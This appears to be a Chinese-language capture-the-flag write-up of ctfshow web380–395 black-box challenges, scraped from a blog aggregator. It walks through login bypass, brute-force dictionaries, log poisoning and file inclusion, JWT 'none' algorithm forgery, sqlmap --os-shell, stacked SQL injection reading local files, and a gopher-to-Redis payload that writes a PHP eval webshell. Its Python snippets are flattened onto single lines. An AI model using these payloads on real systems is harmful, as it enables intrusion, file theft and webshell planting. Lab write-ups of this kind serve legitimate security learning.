当前位置: 首页 > news >正文

ctfshow web入门 黑盒测试

web380

这里文章看的我好有感触
在这里插入图片描述但是影响做题
扫描一下
在这里插入图片描述
访问flag.php啥也没有再访问page.php
在这里插入图片描述

page.php?id=flag

web381

扫出来page.php但是没啥用哇,查看源代码
在这里插入图片描述
这些文件挨个试发现啥也没,最后仔细对比发现其实都是layui,然后尝试着访问alsckdfy

这就是后台地址,给你ctfshow{1b7d317f-8d64-4d72-ab67-cc059e937dd1}

web382

访问后台地址alsckdfy
直接爆破得到
在这里插入图片描述

web383

我是直接填的账号密码,至于账号为什么是admin我猜的
但是还有一种方法是万能密码

注入点在用户名
-1' or 1=1#

web384

密码前2位是小写字母,后三位是数字

这里写一个脚本

import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:for j in s1:for k in s2:for l in s2:for m in s2:p=i+j+k+l+mf.write(p+"\n")
f.close()

然后爆破即可
密码是xy123

web385

扫后台
在这里插入图片描述然后重置密码即可

web386

扫后台但是其实dirsearch自带的字典是没有的我们可以添加一下

在这里插入图片描述
访问clear.php然后发现并没有删除,原来是需要传参才可以删除
?file=./install/lock.dat

然后就可以正常操作了

web387

dirsearch -u https://3062a2c1-22a0-4ca2-a9b4-64c80c907965.challenge.ctf.show/ -w /home/kali/Desktop/dirsearch/db/dicc.txt

扫后台
在这里插入图片描述访问debug提示没有file

?file=/etc/passwd

传参发现存在日志包含

?file=/var/log/nginx/access.log

直接UA写马发现不成功
还是把文件删除重置比较好

<?php unlink('/var/www/html/install/lock.dat')?>

然后重置密码

web388

和web387一样

web389

jwt加密的密文一般都是由两个点号分为三段的(三段分别为Header头部、Payload负载、Signature签名),并且前两段都以字符串"eyJ"开头

扫后台发现啥也没有
访问debug发现权限不足

密文:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjIwMjA2OCwiZXhwIjoxNzE2MjA5MjY4LCJuYmYiOjE3MTYyMDIwNjgsInN1YiI6InVzZXIiLCJqdGkiOiJhNmQyNzUzYjMzMzBjZDllYmVlNWE2ZmJhNmVjMmMxZSJ9.CfY5KLl0Wb40LAsiOuUpm3bt1R4ydVSAbmvSV1YU44Y
import jwt
token = jwt.encode(
{"iss": "admin","iat": 1716202068,"exp": 1716209268,"nbf": 1716202068,"sub": "admin","jti": "ae90bdc9a931244e163fea13c5baae44"
},
algorithm="none",key=""
)print(token.encode("utf-8").decode("utf-8"))
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjIwMjA2OCwiZXhwIjoxNzE2MjA5MjY4LCJuYmYiOjE3MTYyMDIwNjgsInN1YiI6ImFkbWluIiwianRpIjoiYWU5MGJkYzlhOTMxMjQ0ZTE2M2ZlYTEzYzViYWFlNDQifQ.

更改cookie,重置密码就行了

web390

这里有个菜鸟往事点进来就可以知道注入点

sqlmap -u "https://3a6778b5-a20f-4f45-8dfe-5894324e19e8.challenge.ctf.show/page.php?id=1" --os-shell
--os-shell这个后缀是使得攻击者能够进行shell命令执行
所以还要加个命令  cat ./alsckdfy/check.php

在这里插入图片描述

web391

进入页面发现有标题搜索了随便搞一个拿到注入点

sqlmap -u "https://1fcf26d4-ec34-4e55-812a-179d3b47ace4.challenge.ctf.show/search.php?title=123" --os-shellcat ./alsckdfy/check.php

web392

sqlmap -u "https://732e2119-769c-430c-9b45-2b9355d719f7.challenge.ctf.show/search.php?title=1" --os-shellcat /flag

web393

堆叠注入

search.php?title=1';insert into link values (10,'a','file:///flag');#
然后访问link.php?id=10

web394

search.php?title=1';insert into link values (10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);#
16进制绕过
file:///var/www/html/alsckdfy/check.php
然后访问link.php?id=10

web395

可以和上题一样直接秒了
但是有另外一种方法就是

攻击radis服务
在这里插入图片描述

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

由于网站限制255个字符我们先需要改一下限制

search.php?title=1';alter table link modify column url text;
将link限制的url为255个字符换成text就可以存更长的了
search.php?title=1';insert into link values(6,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323433302530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542636d642535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234392530442530417368656c6c2e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);然后访问link.php?id=6可能会访问不成功但是此时已经生成了shell.php 
密码是cmdPOST:
cmd=system('cat /var/www/html/alsckdfy/check.php');

在这里插入图片描述

相关文章:

  • linux input 驱动
  • 持续总结中!2024年面试必问 20 道 Rocket MQ面试题(二)
  • 语言模型的发展
  • 磁盘管理以及文件系统08
  • Python二叉树遍历算法
  • 防御恶意爬虫攻击
  • 学习Java的日子 Day49 函数,DOM
  • aws glue配置读取本地kafka数据源
  • 【Linux】关于获取进程退出状态中的core dump标志补充
  • Google Earth Engine(GEE)深度学习入门教程-Python数据读入篇
  • npm build报错Cannot find module ‘html-webpack-plugin‘解决方法
  • 设计模式—23种设计模式重点 表格梳理
  • cherry-markdown公式不好选中的问题
  • 国产PS插件新选择;StartAI平替中的佼佼者!
  • 微软的野望:下一代操作系统
  • 30秒的PHP代码片段(1)数组 - Array
  • angular2开源库收集
  • css系列之关于字体的事
  • Go 语言编译器的 //go: 详解
  • IOS评论框不贴底(ios12新bug)
  • JS进阶 - JS 、JS-Web-API与DOM、BOM
  • JS数组方法汇总
  • SpringBoot几种定时任务的实现方式
  • SSH 免密登录
  • 半理解系列--Promise的进化史
  • 后端_MYSQL
  • 互联网大裁员:Java程序员失工作,焉知不能进ali?
  • 浅谈web中前端模板引擎的使用
  • 说说动画卡顿的解决方案
  • 找一份好的前端工作,起点很重要
  • 职业生涯 一个六年开发经验的女程序员的心声。
  • nb
  • k8s使用glusterfs实现动态持久化存储
  • # 达梦数据库知识点
  • #android不同版本废弃api,新api。
  • $ git push -u origin master 推送到远程库出错
  • $NOIp2018$劝退记
  • (02)vite环境变量配置
  • (160)时序收敛--->(10)时序收敛十
  • (2)STL算法之元素计数
  • (C语言)fread与fwrite详解
  • (Mac上)使用Python进行matplotlib 画图时,中文显示不出来
  • (undone) MIT6.824 Lecture1 笔记
  • (补)B+树一些思想
  • (超简单)构建高可用网络应用:使用Nginx进行负载均衡与健康检查
  • (超简单)使用vuepress搭建自己的博客并部署到github pages上
  • (动手学习深度学习)第13章 计算机视觉---微调
  • (读书笔记)Javascript高级程序设计---ECMAScript基础
  • (二)pulsar安装在独立的docker中,python测试
  • (附源码)SSM环卫人员管理平台 计算机毕设36412
  • (三)docker:Dockerfile构建容器运行jar包
  • (深度全面解析)ChatGPT的重大更新给创业者带来了哪些红利机会
  • (四)汇编语言——简单程序
  • (五)c52学习之旅-静态数码管
  • (终章)[图像识别]13.OpenCV案例 自定义训练集分类器物体检测